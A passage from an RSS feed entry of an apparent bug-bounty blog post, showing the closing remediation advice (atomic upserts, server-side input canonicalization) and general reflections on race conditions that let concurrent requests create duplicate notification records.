<p data-start="11844" data-end="11972"><strong data-start="11844" data-end="11868">Make creation atomic</strong>: use <code data-start="11874" data-end="11898">INSERT ... ON CONFLICT</code> (upsert) or equivalent so concurrent creates cannot produce duplicates.</p>
</li>
<li data-start="11973" data-end="12122">
<p data-start="11976" data-end="12122"><strong data-start="11976" data-end="12011">Canonicalize inputs server-side</strong>: trim and lowercase emails and return the existing resource or a clear response when duplicates are attempted.</p>
</li>
</ol>
<h3 data-start="178" data-end="196">Final Thoughts</h3>
<p data-start="198" data-end="530">This case is a perfect reminder that even mature applications can overlook concurrency edge cases that don’t show up in regular testing. Client-side validation or simple “check-before-insert” logic might appear sufficient, but when operations run in parallel, the tiniest race window can lead to large-scale data integrity issues.</p>
<p data-start="532" data-end="812">What made this bug particularly impactful is that it didn’t rely on exotic conditions or privilege escalation — just timing. By coordinating concurrent identical requests, an attacker could manipulate backend logic in ways that normal single-threaded testing would never reveal.</p>
<p data-start="814" data-end="1078">In real-world systems where notifications, transactions, or queue-based processes are triggered by new records, such duplication can have serious downstream effects — from flooding users with redundant messages to distorting analytics or overloading task queues.</p>
<p data-start="1080" data-end="1391">Building truly robust APIs requires more than input validation; it demands atomic operations, proper database constraints, and a mindset that anticipates concurrency. Race conditions often hide in plain sight, but once discovered, they offer some of the most valuable lessons for improving backend resilience.</p>
<p data-start="1393" data-end="1474">In short, <strong data-start="1403" data-end="1431">always think in parallel</strong> — because your attackers certainly will.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">521</post-id>	</item>
	</channel>
</rss>
